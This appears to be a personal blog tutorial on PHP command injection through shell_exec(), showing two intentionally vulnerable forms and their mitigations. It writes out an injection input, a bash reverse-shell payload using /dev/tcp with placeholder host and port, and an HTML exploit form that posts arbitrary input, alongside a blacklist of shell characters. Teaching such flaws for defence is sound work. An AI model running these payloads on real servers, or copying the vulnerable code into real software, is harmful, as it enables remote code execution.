So first off, I’m not a PHP developer and I don’t really know PHP all that well. But I have found ways to exploit my own PHP scripts and so I’d like to document that here. That’s all this is. Some basic PHP exploitation examples followed by the protection methods I’ve used to prevent my scripts from becoming a gateway for Remote Code Execution (RCE) and Remote Shells.
Don’t use shell_exec(), system(), passthru(), or exec() in conjunction with forms
In general, if you’re using shell_exec() then you’re probably doing it wrong. PHP has a lot of builtin tools that mimic the UNIX core utilities and you don’t need to reach out to the shell in order to compute md5 hashes or write to files. But if you’re going to use shell_exec(), never let user input get onto the shell! The following is an example of what happens if you do.
Example One,
\/\/ !!Do Not Use!! \/\/
badform.php
<!doctype html>
<html>
<head>
<title>Bad Form!</title>
<meta name="description" content="Bad PHP Form">
<meta name="keywords" content="!!!For Testing Only!!!">
</head>
<body>
<form action="badform.php" method="post">
Name: <input type="text" name="nombre"><br>
<input type="submit">
</form>
<?php
if ($_POST["nombre"] != NULL){
$name = $_POST["nombre"];
$output = shell_exec("echo $name >> name.log;echo $name");
echo "$output";
}
?>
</body>
</html>
That form sucks. The problem is it takes user input right from the text box and runs it in a shell. With a little injection, the above form pretty much allows the website visitor to run anything they’d like on the web server (permissions permitting of course).
We can demonstrate this by putting any command into the form prefixed by the ; character.
Input:
; id

Output:
uid=1000(webguy1) gid=100(users) groups=100(users),(sudo),126(sambashare)

We can see what’s happening here if we evaluate the shell expression a little closer.
We start with what’s inside of the shell_exec():
echo $name >> name.log;echo $name
Which evaluates to the following when $name is replaced with ; id
echo ; id >> name.log;echo ; id
It should be clear now how the expression is evaluated by the shell. First echo runs with no arguments, so does nothing. Then id is run and its output is directed into name.log. Then again echo is run with no arguments. And finally id is run again and its output is returned to the screen via PHP. If we check name.log we’ll find the most recent line of the file is the output of id.
If we injected the following into the form we could use it to send ourselves a reverse shell.
; bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
Mitigation:
The most minimal way to protect your form from this is with the basic PHP sanitization function, escapeshellcmd(). The addition of a single line makes our bad form just a little bit better.
<?php
if ($_POST["nombre"] != NULL){
$name = $_POST["nombre"];
$name = escapeshellcmd($name); // <-- Newly Added Line
$output = shell_exec("echo \"$name\" >> name.log;echo \"$name\""); // Escaped Quotes Around $Vars For Demonstration
echo "$output";
}
?>
We can place some escaped quotes around the $name variable in PHP to see what the escapeshellcmd() function is actually doing.

It makes sure any of the common shell characters are prefixed with a \ character so they’re not interpreted by the shell.
Ideally, you’d employ additional sanitization on the input. And really ideally you’d never use shell_exec() to take data from a form! But I take it you’re already past that point now.
Example 2,
Even forms that are not intended to take input directly from the user may be vulnerable if the submitted form data is passed to a shell_exec(). As we’ve seen from the above example any input taken via a form that runs in a shell_exec() is vulnerable to exploitation. See the following example second bad form below.
\/\/ !!Do Not Use!! \/\/
badform2.php
<!doctype html>
<html>
<head>
<title>Bad Form 2!</title>
<meta name="description" content="Second Bad PHP Form">
<meta name="keywords" content="!!!For Testing Only!!!">
</head>
<body>
<form action="badform2.php" id="showform" method="post">
<select name="show" id="showform">
<option>30 Rock (2005)</option>
<option>Adventure Time (2008)</option>
<option>Black Mirror (2011)</option>
<option>Chappelle's Show (2003)</option>
<option></option>
</select>
<input type="submit" name="tv" value="Submit Selected">
</form>
<?php
if ($_POST["show"]){
$show = $_POST["show"];
$output = shell_exec("/path/to/show_info.sh $show");
echo "<br>\n$output";
}
?>
</body>
</html>

The above web page takes data from a preset list of inputs, so you might think its safe to use its input in a shell_exec(). But you’d be wrong. Remember the PHP code in question just accepts a POST request and doesn’t care what’s inside of it. So we can copy some of the html from badform2.php into our own exploit form and use it to achieve RCE on the bad form’s web server.
exploitform.html,
<!doctype html>
<html>
<head>
</head>
<form action="http://yoursite.com/badform2.php" id="showform" method="post">
<input type="text" name="show" id="showform">
<input type="submit" name="tv" value="Submit Selected">
</form>
<body>
</body>
</html>

Now we have the ability to input whatever data we’d like into the form. We can use the same trick as before with the ; character to run our own commands on the web server through badform2.php.
Input:
; id

Output:

Mitigation:
Once again, even though the form was not supposed to be used to submit input in this way, PHP doesn’t care. It will take the data its given and run it on the shell. In this case you could and should use escapeshellcmd() to prevent the interpretation of the shell characters. However, since the majority of the shell characters don’t appear in the tv show titles anyways we can also refuse to process anything further if we detect a bad char.
Disclaimer: The following is my own shitty PHP solution. I’m sure there are better ways to do this, but hey it works.
<?php
if ($_POST["show"] !== NULL){
$show = $_POST["show"];
$hax_dossier = array(";", ">", "<", "#", "&", "/", "~", "`", "$", "*", "\\", "|", "[", "]", "{", "}");
foreach($hax_dossier as $hax_implement){
if (strpos($show, $hax_implement) !== false) {
exit("707 Hax Not Found");
}
}
$sanatized_show = str_replace(" ", "\\ ", escapeshellcmd($show));
$output = shell_exec("/path/to/show_info.sh $sanatized_show");
echo "<br>\n$output";
}
?>
Once again, the real solution is to not use shell_exec() with any data taken via a form. But if you have to do it, don’t put it on the public internet and make sure to sanitize your inputs. And as always try to hack your own creations and see if you can get in. Then see if you can patch it.
Thank you for reading!
John R.
Ft. Red 7